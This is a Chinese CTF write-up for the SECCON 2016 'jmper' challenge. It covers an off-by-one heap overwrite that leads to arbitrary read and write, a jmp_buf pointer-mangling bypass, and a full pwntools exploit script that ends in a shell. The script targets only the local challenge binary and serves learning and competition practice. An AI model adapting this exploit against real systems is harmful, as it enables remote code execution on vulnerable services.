SECCON-2016 jmper

0x00:

ZCTF2017 的class的原型应该就是这个题目,在复现的时候,就从这个题目开始做起。

0x01:vuln

关键逻辑的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
void __noreturn handle()
{
char v0; // [sp+3h] [bp-1Dh]@13
char v1; // [sp+3h] [bp-1Dh]@23
int index; // [sp+4h] [bp-1Ch]@8
int v3; // [sp+8h] [bp-18h]@2
int i; // [sp+Ch] [bp-14h]@12
__int64 student_name; // [sp+10h] [bp-10h]@12
student *student; // [sp+18h] [bp-8h]@6

student_num = 0;
while ( 1 ) // show student name
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)");
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 1 )
break;
if ( student_num > 29 ) // check num
{
puts("Exception has occurred. Jump!");
longjmp(jmpbuf, 0x1BF52);
}
student = (student *)malloc(48uLL); // add student
student->id = student_num;
student->name = malloc(32uLL);
*(_QWORD *)(my_class + 8LL * student_num++) = student;
}
if ( v3 != 2 )
break;
printf("%s", "ID:"); // name student
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", "Input name:");
student_name = *(_QWORD *)(*(_QWORD *)(my_class + 8LL * index) + 40LL);// get ptr
for ( i = 0; i <= 32; ++i )
{
v0 = getchar();
if ( v0 == '\n' )
break;
*(_BYTE *)student_name++ = v0;
}
}
if ( v3 != 3 )
break;
printf("%s", "ID:"); // write memo
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", "Input memo:");
student_name = *(_QWORD *)(my_class + 8LL * index) + 8LL;
for ( i = 0; i <= 32; ++i ) // write one more byte
{
v1 = getchar();
if ( v1 == '\n' )
break;
*(_BYTE *)student_name++ = v1;
}
}
if ( v3 != 4 )
break;
printf("%s", "ID:"); // show name
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", *(_QWORD *)(*(_QWORD *)(my_class + 8LL * index) + 40LL));
}
if ( v3 != 5 )
break;
printf("%s", "ID:"); // show memo
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", *(_QWORD *)(my_class + 8LL * index) + 8LL);
}
exit(0);
}

结构体:

1
2
3
4
5
student struct {
_QWORD id;
_BYTE memo[32];
_QWORD *name;
}

编辑memo的时候有个off by one,导致可以覆盖下一个student结构体的name指针的最后一个字节。

0x02:think

student结构体在内存里的布局大概这个样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
stud1:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
name1: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------

先分配五个这样的结构体,然后修改student2的name指针,使其指向student3的name。
这样,通过name、memo的write和show功能就可以获取任意地址读写的能力了。

有了这个基础后,因为程序使用了jmpbuffer,会把一些寄存器信息加密后存储在jmpbuffer,我们有任意地址读写之后:

  • 只需要leak出和jmpbuffer的偏移
  • 泄露出stored rip,和真实的rip xor后得到secret xor 值,
  • 随便泄露一个函数,然后根据libc确定system函数地址
  • 然后,直接修改寄存器的值,然后触发longjmp,就可以代码执行了。

0x03:exploit

win10 subsystem 上测试通过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *

#context.log_level = 'debug'
context.arch='amd64'

LOCAL = True

if LOCAL:
p = process('./jmper',raw=False)
else:
p = remote('127.0.0.1',10001)

elf = ELF('./jmper')
libc = ELF('./libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e')
printf_got = elf.got['printf']

def rerol(d):
return ((d<<(64-0x11))+(d>>0x11))&0xffffffffffffffff

def rol(d):
return ((d<<0x11) + (d>>(64-0x11)))&0xffffffffffffffff

def add_student():
p.recvuntil(':)')
p.sendline('1')

def name_student(id,name):
p.recvuntil(':)')
p.sendline('2')
p.recvuntil('ID:')
p.sendline(str(id))
p.recvuntil('name:')
p.sendline(str(name))

def memo_student(id,memo):
p.recvuntil(':)')
p.sendline('3')
p.recvuntil('ID:')
p.sendline(str(id))
p.recvuntil('memo:')
p.sendline(str(memo))

def show_name(id):
p.recvuntil(':)')
p.sendline('4')
p.recvuntil('ID:')
p.sendline(str(id))

def show_memo(id):
p.recvuntil(':)')
p.sendline('5')
p.recvuntil('ID:')
p.sendline(str(id))

def exit_():
p.recvuntil(':)')
p.sendline('6')

def get_shell():
for __ in xrange(0,25):
add_student()
add_student()

def main():
#raw_input('0x0000000000400B99')
log.info('printf got : %s' % (hex(printf_got)))
add_student()
add_student()
add_student()
add_student()
add_student()

name_student(0,'A')
name_student(1,'B')
name_student(2,'C')
name_student(3,'D')
name_student(4,'E')

memo_student(0,'a')
memo_student(1,'b')
memo_student(2,'c')
memo_student(3,'d')
memo_student(4,'e')

#get jmp buffer offset
memo_student(1,'c' * 0x20 + '\xe8')
name_student(1,'A')
show_name(1)
dump = p.recvline()
jmp_buffer_lsw = ((ord(dump[1]) &0xf0) << 8) | 0x110
log.info("Got jmpbuffer offset %x" % jmp_buffer_lsw)

#get xor word
rip_addr = jmp_buffer_lsw + 0x38
name_student(1,p16(rip_addr))
show_name(2)
dump = p.recvline()
rip_stored = unpack(dump[:8])
log.info("Got stored rip : %s" % hex(rip_stored))
rip = rerol(rip_stored)
secret_xor = rip ^ 0x400c31
log.info("Got xor vaule : %s" % hex(secret_xor))

#rbx /bin/sh
rip_addr = jmp_buffer_lsw
name_student(1,p16(rip_addr))
name_student(2,"/bin/sh")

#leak addr and get system's addr
name_student(1,p64(printf_got))
show_name(2)
printf_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('leak printf : %s' % hex(printf_addr))

libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
log.info('system addr : %s' % hex(system_addr))

new_rip = system_addr ^ secret_xor
new_rip = rol(new_rip)
log.info('New rip is : %s' % hex(new_rip))
memo_student(3,"D" * 0x20 + "\xc8")
name_student(3,p16(jmp_buffer_lsw+0x38))
name_student(4,p64(new_rip))

get_shell()
p.interactive()

if __name__ == '__main__':
main()

0x04:reference

write-ups-2016
[第三届XCTF——郑州站ZCTF第一名战队Writeup]](http://bobao.360.cn/ctf/detail/186.html)